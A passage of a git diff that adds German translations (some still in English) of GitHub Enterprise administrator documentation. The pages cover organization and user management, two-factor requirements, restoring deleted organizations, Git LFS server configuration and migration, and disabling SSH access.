+   - Wenn die Organisation SCIM nicht verwendet, wechsle zur folgenden URL, indem du „ORGANIZATION“ durch den Namen der Organisation ersetzt. Folge dann den Aufforderungen zur Authentifizierung.
+
+    `https://github.com/orgs/ORGANIZATION/sso`
+
+Nachdem du der Organisation beigetreten bist, kannst du deine Rolle in der Organisation mithilfe der Unternehmenseinstellungen verwalten, z. B. ein Organisationsbesitzer werden. Weitere Informationen findest du unter [Verwalten deiner Rolle über die Unternehmenseinstellungen](#managing-your-role-with-the-enterprise-settings).
+
+{% endif %}
diff --git a/translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/preventing-users-from-creating-organizations.md b/translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/preventing-users-from-creating-organizations.md
new file mode 100644
index 0000000000..55414cfe12
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/preventing-users-from-creating-organizations.md
@@ -0,0 +1,27 @@
+---
+title: Benutzerbedingte Erstellung von Organisationen verhindern
+redirect_from:
+  - /enterprise/admin/articles/preventing-users-from-creating-organizations
+  - /enterprise/admin/hidden/preventing-users-from-creating-organizations
+  - /enterprise/admin/user-management/preventing-users-from-creating-organizations
+  - /admin/user-management/preventing-users-from-creating-organizations
+intro: 'Du kannst verhindern, dass Benutzer*innen Organisationen in deinem Unternehmen erstellen.'
+versions:
+  ghes: '*'
+  ghae: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Organizations
+  - Policies
+shortTitle: Prevent organization creation
+ms.openlocfilehash: 418a2ceb1f8c059764d84e4565d0719c38ed4d9b
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145104744'
+---
+{% data reusables.enterprise-accounts.access-enterprise %} {% ifversion ghes or ghae %} {% data reusables.enterprise-accounts.policies-tab %} {% else %} {% data reusables.enterprise-accounts.settings-tab %} {% endif %} {% data reusables.enterprise-accounts.options-tab %}
+4. Klicke unter „Benutzer können Organisationen erstellen“ im Dropdownmenü auf **Aktiviert** oder **Deaktiviert**.
+![Dropdownmenü „Benutzer können Organisationen erstellen“](/assets/images/enterprise/site-admin-settings/users-create-orgs-dropdown.png)
diff --git a/translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise.md b/translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise.md
new file mode 100644
index 0000000000..9c483c8d9d
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise.md
@@ -0,0 +1,36 @@
+---
+title: Entfernen von Organisationen aus deinem Unternehmen
+intro: 'Wenn eine Organisation nicht mehr Teil deines Unternehmens sein sollte, kannst du die Organisation entfernen.'
+permissions: Enterprise owners can remove any organization from their enterprise.
+versions:
+  ghec: '*'
+type: how_to
+topics:
+  - Enterprise
+shortTitle: Removing organizations
+ms.openlocfilehash: 8645e8f6d424ee8a02ae5d414e9901173df460aa
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145104163'
+---
+{% warning %}
+
+**Warnung**: Wenn du eine Organisation aus deinem Unternehmen entfernst, passiert Folgendes:
+- Abrechnung, Identitätsverwaltung, Vorgaben für die zweistufige Authentifizierung und andere Richtlinien für die Organisation werden nicht mehr von deinem Unternehmen gesteuert.
+- Die Organisation wird auf den Free-Tarif herabgestuft.
+- Für die Organisation gelten unsere Standardvertragsbedingungen.
+- Alle ggf. vorhandenen internen Repositorys innerhalb der Organisation werden in private Repositorys konvertiert.
+
+{% endwarning %}
+
+## Entfernen einer Organisation aus deinem Unternehmen
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+2. Beginne unter „Organisationen“ auf der Suchleiste mit der Eingabe des Namens der gewünschten Organisation, bis die Organisation in den Suchergebnissen angezeigt wird.
+![Screenshot: Suchfeld für Organisationen](/assets/images/help/enterprises/organization-search.png)
+3. Wähle rechts neben dem Namen der Organisation das Dropdownmenü {% octicon "gear" aria-label="The gear icon" %} aus, und klicke auf **Organisation entfernen**.
+![Screenshot: Organisation in den Suchergebnissen](/assets/images/help/enterprises/remove-organization.png)
+4. Überprüfe die Warnungen, und klicke anschließend auf **Organisation entfernen**.
+![Screenshot: Warnmeldung und Schaltfläche zum Entfernen der Organisation](/assets/images/help/enterprises/remove-organization-warning.png)
diff --git a/translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/removing-users-from-teams-and-organizations.md b/translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/removing-users-from-teams-and-organizations.md
new file mode 100644
index 0000000000..3952152d68
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/removing-users-from-teams-and-organizations.md
@@ -0,0 +1,60 @@
+---
+title: Benutzer aus Teams und aus Organisationen entfernen
+intro: 'Wenn ein Mitglied deiner Organisation nicht mehr auf bestimmte Repositorys zugreifen muss, kannst du es aus dem Team entfernen, das diesen Zugriff ermöglicht. Wenn ein Mitglied deiner Organisation nicht mehr auf Repositorys zugreifen muss, die der Organisation gehören, kannst du es aus der Organisation entfernen.'
+redirect_from:
+  - /enterprise/admin/user-management/removing-users-from-teams-and-organizations
+  - /admin/user-management/removing-users-from-teams-and-organizations
+versions:
+  ghes: '*'
+  ghae: '*'
+type: how_to
+topics:
+  - Access management
+  - Accounts
+  - Enterprise
+  - Teams
+shortTitle: Remove user membership
+ms.openlocfilehash: 575cc032786b2bbbf264104002f503b5061df8e6
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145104743'
+---
+Nur Inhaber oder Teamadministratoren können Organisationsmitglieder entfernen. Wenn ein Benutzer aus einem Team oder aus einer Organisation entfernt wird, bleiben seine Issues, Pull Requests und Kommentare in den Repositorys der Organisation erhalten und sind ihm weiterhin zugeordnet.
+
+{% warning %}
+
+**Warnung**: Wenn du einen Benutzer aus einer Organisation entfernst, verliert dieser den Zugriff auf private Forks, über die er für die **privaten Repositorys** deiner Organisation verfügt. Er besitzt ggf. weiterhin lokale Kopien dieser Forks. Allerdings ist er oder sie jedoch nicht in der Lage, sie mit den Repositorys deiner Organisation zu synchronisieren. Du bist dafür verantwortlich, dass die Personen, denen du den Zugriff auf ein Repository entziehst, vertrauliche Informationen oder geistiges Eigentum von ihren Systemen löschen. Wenn der aus deiner Organisation entfernte Benutzer ein Organisationsmitglied war, kann sein Zugriff auf die privaten Forks der Organisationsrepositorys wiederhergestellt werden, wenn der Benutzer innerhalb von drei Monaten, nachdem er aus einer Organisation entfernt wurde, [wieder als Organisationsmitglied eingesetzt wird](/articles/reinstating-a-former-member-of-your-organization).
+
+{% endwarning %}
+
+## Teammitglied entfernen
+
+{% ifversion ghes %}
+
+{% warning %}
+
+**Hinweis:** {% data reusables.enterprise_management_console.badge_indicator %}
+
+Wende dich an deinen LDAP-Administrator, um ein vorhandenes Mitglied eines mit einer LDAP-Gruppe synchronisierten Teams zu entfernen.
+
+{% endwarning %}
+
+{% endif %}
+
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.specific_team %}
+4. Wähle die Person(en) aus, die du entfernen möchtest.
+![Kontrollkästchen neben dem Organisationsmitglied](/assets/images/help/teams/team-member-check-box.png)
+5. Klicke im Dropdownmenü über der Liste der Teammitglieder auf **Aus Team entfernen**.
+![Dropdownmenü mit Option zum Ändern der Rolle](/assets/images/help/teams/bulk-edit-drop-down.png)
+
+## Benutzer aus einer Organisation entfernen
+
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.people %}
+4. Aktiviere das Kontrollkästchen neben dem Namen des Benutzers, der aus der Organisation entfernt werden soll.
+![Kontrollkästchen zum Entfernen des Benutzers](/assets/images/help/organizations/Organization-remove-user.png)
+5. Klicke im oberen Bereich der Seite unterhalb des Namens der Organisation auf **Aus Organisation entfernen**.
+![Schaltfläche „Aus Organisation entfernen“](/assets/images/help/organizations/Organization-remove-from-organization-button.png)
+
+{% data reusables.organizations.data_saved_for_reinstating_a_former_org_member %}
diff --git a/translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/requiring-two-factor-authentication-for-an-organization.md b/translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/requiring-two-factor-authentication-for-an-organization.md
new file mode 100644
index 0000000000..103d51e4a9
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/requiring-two-factor-authentication-for-an-organization.md
@@ -0,0 +1,72 @@
+---
+title: Requiring two-factor authentication for an organization
+intro: 'You can require organization members and outside collaborators to enable two-factor authentication for their personal accounts in an organization, making it harder for malicious actors to access an organization''s repositories and settings.'
+redirect_from:
+  - /enterprise/admin/user-management/requiring-two-factor-authentication-for-an-organization
+  - /admin/user-management/requiring-two-factor-authentication-for-an-organization
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - 2FA
+  - Enterprise
+  - Organizations
+  - Policies
+  - Security
+shortTitle: Require 2FA
+---
+When using LDAP or built-in authentication, two-factor authentication is supported on {% data variables.location.product_location %}. Organization administrators can require members to have two-factor authentication enabled.
+
+{% data reusables.enterprise_user_management.external_auth_disables_2fa %}
+
+For more information, see "[About two-factor authentication](/github/authenticating-to-github/about-two-factor-authentication)."
+
+## Requirements for enforcing two-factor authentication
+
+Before you can require organization members and outside collaborators to use 2FA, you must [enable two-factor authentication](/enterprise/user/articles/securing-your-account-with-two-factor-authentication-2fa/) for your own personal account.
+
+{% warning %}
+
+**Warnings:**
+
+- When your require two-factor authentication, members and outside collaborators (including bot accounts) who do not use 2FA will be removed from the organization and lose access to its repositories, including their forks of private repositories. If they enable 2FA for their personal account within three months of being removed from the organization, you can [reinstate their access privileges and settings](/enterprise/user/articles/reinstating-a-former-member-of-your-organization).
+- When 2FA is required, organization members or outside collaborators who disable 2FA will automatically be removed from the organization.
+- If you're the sole owner of an organization that requires two-factor authentication, you won't be able to disable 2FA for your personal account without disabling required two-factor authentication for the organization.
+
+{% endwarning %}
+
+Before you require use of two-factor authentication, we recommend notifying organization members and outside collaborators and asking them to set up 2FA for their accounts. You can [see if members and outside collaborators already use 2FA](/enterprise/user/articles/viewing-whether-users-in-your-organization-have-2fa-enabled) on an organization's People tab.
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.security %}
+{% data reusables.organizations.require_two_factor_authentication %}
+{% data reusables.organizations.removed_outside_collaborators %}
+
+## Viewing people who were removed from your organization
+
+To view people who were automatically removed from your organization for non-compliance when you required two-factor authentication, you can [search the audit log](/enterprise/admin/guides/installation/searching-the-audit-log/) using `reason:two_factor_requirement_non_compliance` in the search field.
+
+{% data reusables.audit_log.octicon_icon %}
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.audit_log.audit_log_sidebar_for_site_admins %}
+4. Enter your search query using `reason:two_factor_requirement_non_compliance`.
+ ![Staff tools audit log event showing a user removed for 2FA non-compliance](/assets/images/help/2fa/2fa_noncompliance_stafftools_audit_log_search.png)
+ To narrow your search for:
+    - Organizations members removed, enter `action:org.remove_member AND reason:two_factor_requirement_non_compliance`
+    - Outside collaborators removed, enter `action:org.remove_outside_collaborator AND reason:two_factor_requirement_non_compliance`
+
+  You can also view people removed from a particular organization by using the organization name in your search:
+    - `org:octo-org AND reason:two_factor_requirement_non_compliance`
+5. Click **Search**.  
+
+## Helping removed members and outside collaborators rejoin your organization
+
+If any members or outside collaborators are removed from the organization when you enable required use of two-factor authentication, they'll receive an email notifying them that they've been removed. They should then enable 2FA for their personal account, and contact an organization owner to request access to your organization.
+
+## Further reading
+
+- "[Viewing whether users in your organization have 2FA enabled](/enterprise/user/articles/viewing-whether-users-in-your-organization-have-2fa-enabled)"
+- "[Securing your account with two-factor authentication (2FA)](/enterprise/user/articles/securing-your-account-with-two-factor-authentication-2fa)"
+- "[Reinstating a former member of your organization](/enterprise/user/articles/reinstating-a-former-member-of-your-organization)"
+- "[Reinstating a former outside collaborator's access to your organization](/enterprise/user/articles/reinstating-a-former-outside-collaborator-s-access-to-your-organization)"
diff --git a/translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/restoring-a-deleted-organization.md b/translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/restoring-a-deleted-organization.md
new file mode 100644
index 0000000000..d30c176041
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/managing-organizations-in-your-enterprise/restoring-a-deleted-organization.md
@@ -0,0 +1,53 @@
+---
+title: Restoring a deleted organization
+intro: 'You can partially restore an organization that was previously deleted on {% data variables.location.product_location %}.'
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Administrator
+  - Enterprise
+  - Organizations
+shortTitle: Restore organization
+permissions: 'Site administers can restore an organization on {% data variables.product.product_name %}.'
+---
+
+## About organization restoration
+
+You can use the site admin dashboard to restore an organization that was previously deleted on {% data variables.location.product_location %}, as long as the audit log Elasticsearch indices contain the data for the `org.delete` event.
+
+Immediately after you restore an organization, the organization will not be exactly the same as it was prior to the deletion. You'll have to manually restore any repositories that were owned by the organization. For more information, see "[Restoring a deleted repository](/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository)."
+
+You can also use the audit log to help you manually re-add teams and organization members. For more information, see "[Restoring members and teams](#restoring-members-and-teams)."
+
+## Restoring an organization
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+1. Under "Search users, organizations, enterprises, teams, repositories, gists, and applications", search for the organization.
+
+  ![Screenshot of the search field and Search button](/assets/images/enterprise/stafftools/search-field.png)
+
+1. Under "Deleted accounts", to the right of the organization you want to restore, select the {% octicon "kebab-horizontal" aria-label="The edit icon" %} dropdown menu, then click **Recreate**.
+
+   ![Screenshot of the dropdown menu for a deleted organization](/assets/images/enterprise/stafftools/recreate-organization.png)
+
+## Restoring members and teams
+
+You can use the audit log to find a list of the previous members and teams of the organization, then recreate them manually. For more information about using the audit log, see "[Auditing users across your enterprise](/admin/user-management/managing-users-in-your-enterprise/auditing-users-across-your-enterprise)."
+
+In all the search phrases below, replace ORGANIZATION with the name of the organization and TEAM with the name of the team.
+
+### Restoring organization members
+
+1. To find all users who were added to and removed from the organization, search the audit log for `action:org.add_member org:ORGANIZATION` and `action:org.remove_member org:ORGANIZATION`.
+1. Manually add to the organization each user that should still be a member. For more information, see "[Adding people to your organization](/organizations/managing-membership-in-your-organization/adding-people-to-your-organization)."
+
+### Restoring teams
+
+1. To find each team name, search the audit log for `action:team.create org:ORGANIZATION`.
+1. Manually recreate the team. For more information, see "[Creating a team](/organizations/organizing-members-into-teams/creating-a-team)."
+1. To find the members that have been added to each team, search for `action:team.add_member team:"ORGANIZATION/TEAM"`.
+1. Manually re-add the team members. For more information, see "[Adding organization members to a team](/organizations/organizing-members-into-teams/adding-organization-members-to-a-team)."
+1. To find the repositories that the team was granted access to, search for `action:team.add_repository team:"ORGANIZATION/TEAM"`.
+1. To find the access level that the team was granted for each repository, search for `action:team.update_repository_permission team:"ORGANIZATION/TEAM"`.
+1. Manually give the team access again. For more information, see "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)."
diff --git a/translations/de-DE/content/admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md b/translations/de-DE/content/admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md
new file mode 100644
index 0000000000..c8f5a68291
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md
@@ -0,0 +1,145 @@
+---
+title: Configuring Git Large File Storage for your enterprise
+intro: '{% data reusables.enterprise_site_admin_settings.configuring-large-file-storage-short-description %}'
+redirect_from:
+  - /enterprise/admin/guides/installation/configuring-git-large-file-storage-on-github-enterprise
+  - /enterprise/admin/installation/configuring-git-large-file-storage-on-github-enterprise-server
+  - /enterprise/admin/installation/configuring-git-large-file-storage
+  - /enterprise/admin/installation/configuring-git-large-file-storage-to-use-a-third-party-server
+  - /enterprise/admin/installation/migrating-to-a-different-git-large-file-storage-server
+  - /enterprise/admin/articles/configuring-git-large-file-storage-for-a-repository
+  - /enterprise/admin/articles/configuring-git-large-file-storage-for-every-repository-owned-by-a-user-account-or-organization
+  - /enterprise/admin/articles/configuring-git-large-file-storage-for-your-appliance
+  - /enterprise/admin/guides/installation/migrating-to-different-large-file-storage-server
+  - /enterprise/admin/user-management/configuring-git-large-file-storage-for-your-enterprise
+  - /admin/user-management/configuring-git-large-file-storage-for-your-enterprise
+versions:
+  ghes: '*'
+  ghae: '*'
+type: how_to
+topics:
+  - Git
+  - Enterprise
+  - LFS
+  - Storage
+shortTitle: Configure Git LFS
+---
+## About {% data variables.large_files.product_name_long %}
+
+{% data reusables.enterprise_site_admin_settings.configuring-large-file-storage-short-description %} You can use {% data variables.large_files.product_name_long %} with a single repository, all of your personal or organization repositories, or with every repository in your enterprise. Before you can enable {% data variables.large_files.product_name_short %} for specific repositories or organizations, you need to enable {% data variables.large_files.product_name_short %} for your enterprise.
+
+{% data reusables.large_files.storage_assets_location %}
+{% data reusables.large_files.rejected_pushes %}
+
+For more information, see "[About {% data variables.large_files.product_name_long %}](/articles/about-git-large-file-storage)", "[Versioning large files](/enterprise/user/articles/versioning-large-files/)," and the [{% data variables.large_files.product_name_long %} project site](https://git-lfs.github.com/).
+
+{% data reusables.large_files.can-include-lfs-objects-archives %}
+
+## Configuring {% data variables.large_files.product_name_long %} for your enterprise
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% ifversion ghes or ghae %}
+{% data reusables.enterprise-accounts.policies-tab %}
+{% else %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% endif %}
+{% data reusables.enterprise-accounts.options-tab %}
+4. Under "{% data variables.large_files.product_name_short %} access", use the drop-down menu, and click **Enabled** or **Disabled**.
+![Git LFS Access](/assets/images/enterprise/site-admin-settings/git-lfs-admin-center.png)
+
+## Configuring {% data variables.large_files.product_name_long %} for an individual repository
+
+{% data reusables.enterprise_site_admin_settings.override-policy %}
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.repository-search %}
+{% data reusables.enterprise_site_admin_settings.click-repo %}
+{% data reusables.enterprise_site_admin_settings.admin-top-tab %}
+{% data reusables.enterprise_site_admin_settings.admin-tab %}
+{% data reusables.enterprise_site_admin_settings.git-lfs-toggle %}
+
+## Configuring {% data variables.large_files.product_name_long %} for every repository owned by a user account or organization
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.search-user-or-org %}
+{% data reusables.enterprise_site_admin_settings.click-user-or-org %}
+{% data reusables.enterprise_site_admin_settings.admin-top-tab %}
+{% data reusables.enterprise_site_admin_settings.admin-tab %}
+{% data reusables.enterprise_site_admin_settings.git-lfs-toggle %}
+
+{% ifversion ghes %}
+## Configuring Git Large File Storage to use a third party server
+
+{% data reusables.large_files.storage_assets_location %}
+{% data reusables.large_files.rejected_pushes %}
+
+1. Disable {% data variables.large_files.product_name_short %} on {% data variables.location.product_location %}. For more information, see "[Configuring {% data variables.large_files.product_name_long %} for your enterprise](#configuring-git-large-file-storage-for-your-enterprise)."
+
+2. Create a {% data variables.large_files.product_name_short %} configuration file that points to the third party server.
+  ```shell
+  # Show default configuration
+  $ git lfs env
+  > git-lfs/1.1.0 (GitHub; darwin amd64; go 1.5.1; git 94d356c)
+  > git version 2.7.4 (Apple Git-66)
+  &nbsp;
+  > Endpoint=https://GITHUB-ENTERPRISE-HOST/path/to/repo/info/lfs (auth=basic)
+  &nbsp;
+  # Create .lfsconfig that points to third party server.
+  $ git config -f .lfsconfig remote.origin.lfsurl https://THIRD-PARTY-LFS-SERVER/path/to/repo
+  $ git lfs env
+  > git-lfs/1.1.0 (GitHub; darwin amd64; go 1.5.1; git 94d356c)
+  > git version 2.7.4 (Apple Git-66)
+  &nbsp;
+  > Endpoint=https://THIRD-PARTY-LFS-SERVER/path/to/repo/info/lfs (auth=none)
+  &nbsp;
+  # Show the contents of .lfsconfig
+  $ cat .lfsconfig
+  [remote "origin"]
+  lfsurl = https://THIRD-PARTY-LFS-SERVER/path/to/repo
+  ```
+
+3. To keep the same {% data variables.large_files.product_name_short %} configuration for each user, commit a custom `.lfsconfig` file to the repository.
+  ```shell
+  $ git add .lfsconfig
+  $ git commit -m "Adding LFS config file"
+  ```
+3. Migrate any existing {% data variables.large_files.product_name_short %} assets. For more information, see "[Migrating to a different {% data variables.large_files.product_name_long %} server](#migrating-to-a-different-git-large-file-storage-server)."
+
+## Migrating to a different Git Large File Storage server
+
+Before migrating to a different {% data variables.large_files.product_name_long %} server, you must configure {% data variables.large_files.product_name_short %} to use a third party server. For more information, see "[Configuring {% data variables.large_files.product_name_long %} to use a third party server](#configuring-git-large-file-storage-to-use-a-third-party-server)."
+
+1. Configure the repository with a second remote.
+  ```shell
+  $ git remote add NEW-REMOTE https://NEW-REMOTE-HOSTNAME/path/to/repo
+  &nbsp;
+  $ git lfs env
+  > git-lfs/1.1.0 (GitHub; darwin amd64; go 1.5.1; git 94d356c)
+  > git version 2.7.4 (Apple Git-66)
+  &nbsp;
+  > Endpoint=https://GITHUB-ENTERPRISE-HOST/path/to/repo/info/lfs (auth=basic)
+  > Endpoint (NEW-REMOTE)=https://NEW-REMOTE-HOSTNAME/path/to/repo/info/lfs (auth=none)
+  ```
+
+2. Fetch all objects from the old remote.
+  ```shell
+  $ git lfs fetch origin --all
+  > Scanning for all objects ever referenced...
+  > ✔ 16 objects found
+  > Fetching objects...
+  > Git LFS: (16 of 16 files) 48.71 MB / 48.85 MB
+  ```
+
+3. Push all objects to the new remote.
+  ```shell
+  $ git lfs push NEW-REMOTE --all
+  > Scanning for all objects ever referenced...
+  > ✔ 16 objects found
+  > Pushing objects...
+  > Git LFS: (16 of 16 files) 48.00 MB / 48.85 MB, 879.10 KB skipped
+  ```
+{% endif %}
+
+## Further reading
+
+- [{% data variables.large_files.product_name_long %} project site](https://git-lfs.github.com/)
diff --git a/translations/de-DE/content/admin/user-management/managing-repositories-in-your-enterprise/disabling-git-ssh-access-on-your-enterprise.md b/translations/de-DE/content/admin/user-management/managing-repositories-in-your-enterprise/disabling-git-ssh-access-on-your-enterprise.md
new file mode 100644
index 0000000000..4a8daa0c11
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/managing-repositories-in-your-enterprise/disabling-git-ssh-access-on-your-enterprise.md
@@ -0,0 +1,53 @@
+---
+title: Deaktivieren des Git-SSH-Zugriffs auf dein Unternehmen
+redirect_from:
+  - /enterprise/admin/hidden/disabling-ssh-access-for-a-user-account
+  - /enterprise/admin/articles/disabling-ssh-access-for-a-user-account
+  - /enterprise/admin/hidden/disabling-ssh-access-for-your-appliance
+  - /enterprise/admin/articles/disabling-ssh-access-for-your-appliance
+  - /enterprise/admin/hidden/disabling-ssh-access-for-an-organization
+  - /enterprise/admin/articles/disabling-ssh-access-for-an-organization
+  - /enterprise/admin/hidden/disabling-ssh-access-to-a-repository
+  - /enterprise/admin/articles/disabling-ssh-access-to-a-repository
+  - /enterprise/admin/guides/installation/disabling-git-ssh-access-on-github-enterprise
+  - /enterprise/admin/installation/disabling-git-ssh-access-on-github-enterprise-server
+  - /enterprise/admin/user-management/disabling-git-ssh-access-on-github-enterprise-server
+  - /admin/user-management/disabling-git-ssh-access-on-github-enterprise-server
+  - /admin/user-management/disabling-git-ssh-access-on-your-enterprise
+intro: 'Du kannst verhindern, dass Personen Git über SSH für bestimmte oder alle Repositorys in deinem Unternehmen verwenden.'
+versions:
+  ghes: '*'
+  ghae: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Policies
+  - Security
+  - SSH
+shortTitle: Disable SSH for Git
+ms.openlocfilehash: f7035afb11746e4596410724082d3d5e5bf288a1
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145104736'
+---
+## Git-SSH-Zugriff auf ein bestimmtes Repository deaktivieren
+
+{% data reusables.enterprise_site_admin_settings.override-policy %}
+
+{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.repository-search %} {% data reusables.enterprise_site_admin_settings.click-repo %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.admin-top-tab %} {% data reusables.enterprise_site_admin_settings.admin-tab %}
+1. Klicke unter „Git SSH access“ (Git-SSH-Zugriff) im Dropdownmenü auf **Deaktiviert**.
+ ![Dropdownmenü „Git SSH access“ (Git-SSH-Zugriff) mit ausgewählter Option „Deaktiviert“](/assets/images/enterprise/site-admin-settings/git-ssh-access-repository-setting.png)
+
+## Git-SSH-Zugriff auf alle einem Benutzer oder einer Organisation gehörenden Repositorys deaktivieren
+
+{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.search-user-or-org %} {% data reusables.enterprise_site_admin_settings.click-user-or-org %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.admin-top-tab %} {% data reusables.enterprise_site_admin_settings.admin-tab %}
+7. Klicke unter „Git SSH access“ (Git-SSH-Zugriff) im Dropdownmenü auf **Deaktiviert**. Wähle dann **In allen Repositorys erzwingen** aus.
+ ![Dropdownmenü „Git SSH access“ (Git-SSH-Zugriff) mit ausgewählter Option „Disabled“ (Deaktiviert)](/assets/images/enterprise/site-admin-settings/git-ssh-access-organization-setting.png)
+
+## Deaktivieren des Git-SSH-Zugriffs auf alle Repositorys in deinem Unternehmen
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% ifversion ghes or ghae %} {% data reusables.enterprise-accounts.policies-tab %} {% else %} {% data reusables.enterprise-accounts.settings-tab %} {% endif %} {% data reusables.enterprise-accounts.options-tab %}
+7. Klicke unter „Git SSH access“ (Git-SSH-Zugriff) im Dropdownmenü auf **Deaktiviert**. Wähle dann **In allen Repositorys erzwingen** aus.
+ ![Dropdownmenü „Git SSH access“ (Git-SSH-Zugriff) mit ausgewählter Option „Disabled“ (Deaktiviert)](/assets/images/enterprise/site-admin-settings/git-ssh-access-appliance-setting.png)
diff --git a/translations/de-DE/content/admin/user-management/managing-repositories-in-your-enterprise/index.md b/translations/de-DE/content/admin/user-management/managing-repositories-in-your-enterprise/index.md
new file mode 100644
index 0000000000..2bfac74d1e
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/managing-repositories-in-your-enterprise/index.md
@@ -0,0 +1,26 @@
+---
+title: Verwalten von Repositorys in deinem Unternehmen
+intro: 'Du kannst die Einstellungen verwalten, die für Repositoryadministrator*innen in deinem Unternehmen verfügbar sind.'
+redirect_from:
+  - /enterprise/admin/user-management/repositories
+  - /enterprise/admin/user-management/managing-repositories-in-your-enterprise
+versions:
+  ghes: '*'
+  ghae: '*'
+topics:
+  - Enterprise
+children:
+  - /configuring-git-large-file-storage-for-your-enterprise
+  - /migrating-to-internal-repositories
+  - /disabling-git-ssh-access-on-your-enterprise
+  - /restoring-a-deleted-repository
+  - /troubleshooting-service-hooks
+shortTitle: Manage repositories
+ms.openlocfilehash: f4d2fd29e52414b7f842fced651ff6bf46d4b53b
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145104156'
+---
+
diff --git a/translations/de-DE/content/admin/user-management/managing-repositories-in-your-enterprise/migrating-to-internal-repositories.md b/translations/de-DE/content/admin/user-management/managing-repositories-in-your-enterprise/migrating-to-internal-repositories.md
new file mode 100644
index 0000000000..dc512ca8aa
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/managing-repositories-in-your-enterprise/migrating-to-internal-repositories.md
@@ -0,0 +1,70 @@
+---
+title: Zu internen Repositorys migrieren
+intro: 'Du kannst zu internen Repositorys migrieren, um für Entwickler, die sowohl {% data variables.product.prodname_ghe_server %} als auch {% data variables.product.prodname_ghe_cloud %} verwenden, die Inner-Source-Prozesse zu vereinheitlichen.'
+redirect_from:
+  - /enterprise/admin/installation/migrating-to-internal-repositories
+  - /enterprise/admin/user-management/migrating-to-internal-repositories
+  - /admin/user-management/migrating-to-internal-repositories
+permissions: Site administrators can migrate to internal repositories.
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Privacy
+  - Repositories
+  - Security
+shortTitle: Internal repository migration
+ms.openlocfilehash: 66a535d8fd2e20cbcc78791588ca2b50ae8ede79
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147876998'
+---
+## Informationen zu internen Repositorys
+
+Interne Repositorys sind in {% data variables.product.prodname_ghe_server %} 2.20+ verfügbar. {% data reusables.repositories.about-internal-repos %} Weitere Informationen findest du unter [Informationen zu Repositorys](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility).
+
